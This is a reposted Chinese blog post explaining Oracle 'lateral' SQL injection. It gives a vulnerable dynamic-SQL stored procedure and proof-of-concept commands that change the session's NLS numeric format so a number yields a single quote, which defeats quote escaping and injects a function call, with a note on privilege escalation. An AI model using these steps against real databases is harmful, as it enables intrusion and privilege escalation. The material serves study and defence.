ORACLE LATERAL-SQL-INJECTION 个人见解_Oracle应用_脚本之家

最近忙啊忙啊的,今天终于有点点时间抽出来看看技术文章了,最近国外又出了关于新型ORA注入技术的PAPER,赶紧测试,主要是出现在SQL语句字符拼 接的时候,DATE类型转换为VARCHAR 以及 NUMBER转换为VARCHAR加入的格式字符出现问题。

如果直接执行SQL语句或者参数绑定则不用担心太多,
如以下ORACLE存储过程
create or replace procedure kjdatepoc(date d)

as

begin

insert into kjdatetable values(d);

commit;

end;

根本不需要担心遭受到SQL新型注入攻击,那么在什么地方会发生DATE 以及 NUMBER的注入攻击呢!?一般都是采用了动态SQL而又不采用参数绑定的语句。

例如工程师经常用的DBMS_SQL或者EXECUTE IMMEDIATE

看以下存储过程

create or replace procedure kjdatepoc(date d)

as

begin

execute immediate ‘insert into kjdatetable values(‘|| d ||’)’;

commit;

end;

那么遇到以上的存储过程或者函数等,也通过修改SESSION中的NLS_DATE_FORMAT中的值达到SQL注射的目的,

老外的PAPER讲解得非常详细了 ,我在这里也不废话。

惟独对于 NUMBER类型的注射没有多作讲解 只是简单演示了可以输出单引号!

看以下语句

ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”’.’;

SELECT to_number(1000.10001,’999999D99999′)||” FROM DUAL;

输出一下结果

1000′10001

只是多了一个单引号,那有什么用呢?乐观的来说!在特定情况下是很有价值的!看以下一个存储过程

create or replace procedure NumInjPoc(kjexpnum number,kjexpstr varchar2)

is

SecStr varchar2(1000);

begin

SecStr:=replace(kjexpstr,””,”””);

sys.dbms_output.put_line(‘SELECT * FROM DUAL WHERE ID=’||kjexpnum||’ and name=”’||SecStr||””);

end;

内部对varchar类型进行替换了!我们可以进行测试

begin

numinjpoc(1000,”’–’);

end;

其输出SQL语句为

SELECT * FROM DUAL WHERE ID=1000 and name=”’–’

单引号被转义掉了

那么如果我们结合这个NUMBER类型怎么进行注射呢?

ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”’.’;

begin

numinjpoc(TO_NUMBER(0.10001,’999999D99999′),’||kj.exp()–’);

end;

看看输出结果

SELECT * FROM DUAL WHERE ID=’10001 and name=’||kj.exp()–’

这样就可以间接的攻击它…

在某中程度才来需要ALTER SESSION 配合后,再去攻击系统内部的一些函数或者过程来提升权限。未尝不是一种好的突破思路,但是对于单语句进行SQL注射攻击,以结果为向导的话!这样的方式没多大作为。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 chuangxiangniao@163.com 举报,一经查实,本站将立刻删除。
发布者:程序猿,转转请注明出处:https://www.chuangxiangniao.com/p/808986.html

赞 (0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
2023 戈登贝尔奖揭晓:Frontier 超算「量子级精度」材料模拟获奖
上一篇 2025年11月26日 21:44:49
云南app开发免费教程详解
下一篇 2025年11月26日 21:44:56

相关推荐

  • Oracle存储过程批量更新实现方法

    Oracle存储过程批量更新实现方法Oracle存储过程批量更新实现方法Oracle存储过程批量更新实现方法Oracle存储过程批量更新实现方法

    标题:Oracle存储过程批量更新实现方法 在Oracle数据库中,使用存储过程批量更新数据是一种常见的操作。通过批量更新可以提高数据处理的效率,减少对数据库的频繁访问,同时也能减少代码的复杂性。本文将介绍如何在Oracle数据库中使用存储过程实现批量更新数据的方法,并给出具体的代码示例。 首先,我…

    2026年9月26日 • 用户投稿
    000
  • 处理Oracle用户登录问题的有效措施

    处理Oracle用户登录问题的有效措施处理Oracle用户登录问题的有效措施处理Oracle用户登录问题的有效措施处理Oracle用户登录问题的有效措施

    处理Oracle用户登录问题的有效措施 随着数据安全意识的提高,数据库用户登录问题变得尤为重要。Oracle作为一款常用的关系型数据库管理系统,其用户登录问题对数据安全具有至关重要的影响。为了保障数据库的安全性和稳定性,我们需要采取一系列有效的措施来处理Oracle用户登录问题。 一、创建和管理Or…

    2026年9月26日 • 用户投稿
    100
  • 解读Oracle错误3114:原因及解决方法

    解读Oracle错误3114:原因及解决方法解读Oracle错误3114:原因及解决方法解读Oracle错误3114:原因及解决方法解读Oracle错误3114:原因及解决方法

    标题:分析Oracle错误3114:原因及解决方法 在使用Oracle数据库时,常常会遇到各种错误代码,其中错误3114是比较常见的一个。该错误一般涉及到数据库链接的问题,可能导致访问数据库时出现异常情况。本文将对Oracle错误3114进行解读,探讨其引起的原因,并给出解决该错误的具体方法以及相关…

    2026年9月26日 • 用户投稿
    100
  • Oracle服务丢失的常见原因及解决方法

    Oracle服务丢失的常见原因及解决方法Oracle服务丢失的常见原因及解决方法Oracle服务丢失的常见原因及解决方法Oracle服务丢失的常见原因及解决方法

    Oracle是一款广泛使用的关系型数据库管理系统,然而在使用过程中,有时会出现Oracle服务丢失的情况。这种问题可能会给用户带来诸多困扰,因此理解Oracle服务丢失的常见原因及解决方法对于保障数据库系统的稳定运行至关重要。 常见原因 1. Oracle监听器关闭 Oracle数据库服务在启动时需…

    2026年9月26日 • 用户投稿
    100
  • Oracle DECODE函数详解及用法示例

    Oracle DECODE函数详解及用法示例Oracle DECODE函数详解及用法示例Oracle DECODE函数详解及用法示例Oracle DECODE函数详解及用法示例

    Oracle中的DECODE函数是一种条件表达式,常用于在查询语句中根据不同的条件返回不同的结果。本文将详细介绍DECODE函数的语法、用法和示例代码。 一、DECODE函数语法 DECODE(expr, search1, result1 [, search2, result2, … , def…

    2026年9月26日 • 用户投稿
    100
  • sublime的会话文件session保存在哪里_sublime会话文件Session存储位置

    sublime的会话文件session保存在哪里_sublime会话文件Session存储位置sublime的会话文件session保存在哪里_sublime会话文件Session存储位置sublime的会话文件session保存在哪里_sublime会话文件Session存储位置sublime的会话文件session保存在哪里_sublime会话文件Session存储位置

    Sublime Text的会话文件保存在系统特定目录中,Windows位于AppData/Roaming/Sublime Text/Local/,macOS在~/Library/Application Support/Sublime Text/Local/,Linux在~/.config/subli…

    2026年9月26日 • 用户投稿
    100
  • Oracle数据库中空表导出遇到困难时的应对策略

    Oracle数据库中空表导出遇到困难时的应对策略Oracle数据库中空表导出遇到困难时的应对策略Oracle数据库中空表导出遇到困难时的应对策略Oracle数据库中空表导出遇到困难时的应对策略

    空表导出是数据库管理中常见的操作,但有时候遇到空表导出却遇到了困难,这时候我们需要使用一些特定的策略和技巧来解决问题。在Oracle数据库中,空表导出的困难通常出现在导出后的文件为空或者导出操作本身出现错误的情况。下面将介绍一些针对这些问题的应对策略,并提供具体的代码示例供参考。 策略一:检查导出文…

    2026年9月26日 • 用户投稿
    000
  • Oracle存储过程示例:检测表是否存在

    Oracle存储过程示例:检测表是否存在Oracle存储过程示例:检测表是否存在Oracle存储过程示例:检测表是否存在Oracle存储过程示例:检测表是否存在

    Oracle存储过程示例:检测表是否存在 在Oracle数据库中,有时候我们需要编写存储过程来检测特定的表是否存在,以便在程序逻辑中做出相应的处理。本文将介绍如何编写一个Oracle存储过程来检测表是否存在,并提供具体的代码示例。 首先,我们需要理解Oracle中的数据字典。Oracle存储有大量系…

    2026年9月26日 • 用户投稿
    100
  • Oracle存储过程:判断表是否存在的实现方法

    Oracle存储过程:判断表是否存在的实现方法Oracle存储过程:判断表是否存在的实现方法Oracle存储过程:判断表是否存在的实现方法Oracle存储过程:判断表是否存在的实现方法

    Oracle数据库中存储过程是一种特定类型的存储过程,用于在数据库中执行一系列的SQL语句和数据操作。在实际的数据库开发工作中,有时候我们需要判断某个表是否存在于数据库中,这样可以在存储过程中做一些判断和逻辑处理。下面我们将介绍如何在Oracle数据库中实现判断表是否存在的方法,并提供具体的代码示例…

    2026年9月26日 • 用户投稿
    100
  • Oracle空表导出异常情况分析与解决

    Oracle空表导出异常情况分析与解决Oracle空表导出异常情况分析与解决Oracle空表导出异常情况分析与解决Oracle空表导出异常情况分析与解决

    Oracle空表导出异常情况分析与解决 一、问题描述: 在日常的数据库维护中,有时会遇到需要将Oracle数据库中的空表导出的情况。但是在实际操作中,有时会遇到一些异常情况,比如导出的文件为空,或者导出的文件缺少表结构等问题。本文将针对这些异常情况进行分析,并给出相应的解决方案,同时提供具体的代码示…

    2026年9月26日 • 用户投稿
    100
  • Oracle存储过程批量更新的性能优化策略

    Oracle存储过程批量更新的性能优化策略Oracle存储过程批量更新的性能优化策略Oracle存储过程批量更新的性能优化策略Oracle存储过程批量更新的性能优化策略

    Oracle存储过程批量更新的性能优化策略 在Oracle数据库中,存储过程是一种用来处理数据逻辑或执行特定任务的数据库对象,可以提供一定的性能优化策略,特别是在批量更新数据时。批量更新数据通常会涉及大量的行级操作,为了提高性能和效率,我们可以采取一些策略和技巧来优化存储过程的性能。下面将介绍一些O…

    2026年9月26日 • 用户投稿
    500
  • Oracle默认账号密码的安全性分析

    Oracle默认账号密码的安全性分析Oracle默认账号密码的安全性分析Oracle默认账号密码的安全性分析Oracle默认账号密码的安全性分析

    Oracle数据库是一款流行的关系型数据库管理系统,许多企业和组织都选择使用Oracle来存储和管理其重要数据。在Oracle数据库中,有一些默认账号和密码是系统预设的,例如sys、system等。在日常的数据库管理和运维工作中,管理员需要重视这些默认账号密码的安全性,因为这些账号具有较高的权限,一…

    2026年9月26日 • 用户投稿
    000
  • Oracle 中常见的日志类型及配置方法

    Oracle 中常见的日志类型及配置方法Oracle 中常见的日志类型及配置方法Oracle 中常见的日志类型及配置方法Oracle 中常见的日志类型及配置方法

    Oracle 中常见的日志类型及配置方法 Oracle 数据库是业界领先的关系型数据库管理系统之一,它提供了丰富的日志类型来记录数据库的操作和性能信息。在实际的数据库管理工作中,了解并配置好这些日志类型对于监控和优化数据库非常重要。本文将介绍 Oracle 中常见的日志类型及配置方法,同时提供相应的…

    2026年9月26日 • 用户投稿
    000
  • Oracle NVL函数详解及用法示例

    Oracle NVL函数详解及用法示例Oracle NVL函数详解及用法示例Oracle NVL函数详解及用法示例Oracle NVL函数详解及用法示例

    Oracle NVL函数详解及用法示例 在Oracle数据库中,NVL函数是一种非常常用的函数,其作用是用于判断一个值是否为null,若为null则返回另一个指定的值。本文将详细介绍NVL函数的语法、用法及提供一些示例代码以帮助读者更好地理解和应用NVL函数。 1. NVL函数语法 NVL函数的语法…

    2026年9月26日 • 用户投稿
    000
  • Oracle锁表异常解决方案分享

    Oracle锁表异常解决方案分享Oracle锁表异常解决方案分享Oracle锁表异常解决方案分享Oracle锁表异常解决方案分享

    Oracle锁表异常解决方案分享 在使用Oracle数据库过程中,偶尔会遇到因为表被锁导致的异常情况,表现为无法正常执行SQL语句或者长时间等待的情况。这时候需要及时解决锁表问题,以保证数据库的正常运行。本文将介绍一些常见的Oracle锁表异常解决方案,并提供具体的代码示例。 一、查找锁表会话 在遇…

    2026年9月26日 • 用户投稿
    100
  • Oracle SQL中除法运算示例

    Oracle SQL中除法运算示例Oracle SQL中除法运算示例Oracle SQL中除法运算示例Oracle SQL中除法运算示例

    标题:Oracle SQL中除法运算示例 在Oracle SQL数据库中,除法运算是常见且重要的运算之一。对于需要对数据进行除法运算的情况,我们可以借助Oracle SQL提供的特定函数和运算符来实现。本文将详细介绍在Oracle SQL中如何进行除法运算,并提供具体的代码示例。 在Oracle S…

    2026年9月26日 • 用户投稿
    000
  • Oracle 日志功能解析与应用指南

    Oracle 日志功能解析与应用指南Oracle 日志功能解析与应用指南Oracle 日志功能解析与应用指南Oracle 日志功能解析与应用指南

    标题:Oracle 日志功能解析与应用指南 Oracle 数据库作为一款业界优秀的关系型数据库管理系统,拥有强大的日志功能,这一功能在数据库的性能优化、数据恢复、事务管理等方面都起着至关重要的作用。本文将对Oracle数据库中的日志功能进行深入解析,并提供具体的代码示例,帮助读者更好地了解和应用日志…

    2026年9月26日 • 用户投稿
    000
  • Spring Security中自定义过滤器与JWT认证过滤器的执行顺序控制

    Spring Security中自定义过滤器与JWT认证过滤器的执行顺序控制Spring Security中自定义过滤器与JWT认证过滤器的执行顺序控制Spring Security中自定义过滤器与JWT认证过滤器的执行顺序控制Spring Security中自定义过滤器与JWT认证过滤器的执行顺序控制

    在Spring Security应用中,确保自定义过滤器(如多租户过滤器)在JWT认证/授权过滤器之前正确执行至关重要。本文将深入探讨如何通过@Order注解和SecurityFilterChain配置,精确控制自定义OncePerRequestFilter的执行顺序,使其优先于Spring Sec…

    2026年9月26日 • 用户投稿
    100
  • Oracle中表被锁的原因及解决方法有哪些?

    Oracle中表被锁的原因及解决方法有哪些?Oracle中表被锁的原因及解决方法有哪些?Oracle中表被锁的原因及解决方法有哪些?Oracle中表被锁的原因及解决方法有哪些?

    标题:Oracle中表被锁的原因及解决方法 在Oracle数据库中,表被锁是数据库操作中常见的问题之一。表锁定可能会导致数据库性能下降和应用程序无法正常运行。本文将介绍Oracle中表被锁的原因,并提供解决此问题的具体代码示例。 原因 表被锁的原因通常包括以下几点: 事务未提交:当一个事务正在对表进…

    2026年9月26日 • 用户投稿
    200
  • sublime怎么记住上次打开的文件_sublime恢复上次编辑状态的方法

    sublime怎么记住上次打开的文件_sublime恢复上次编辑状态的方法sublime怎么记住上次打开的文件_sublime恢复上次编辑状态的方法sublime怎么记住上次打开的文件_sublime恢复上次编辑状态的方法sublime怎么记住上次打开的文件_sublime恢复上次编辑状态的方法

    Sublime Text 能自动恢复上次打开的文件和编辑状态,前提是正确配置并正常退出。首先确认用户设置中启用 “remember_open_files”: true、”hot_exit”: false 和 “restore_session…

    2026年9月26日 • 用户投稿
    100

发表回复

登录后才能评论
关注微信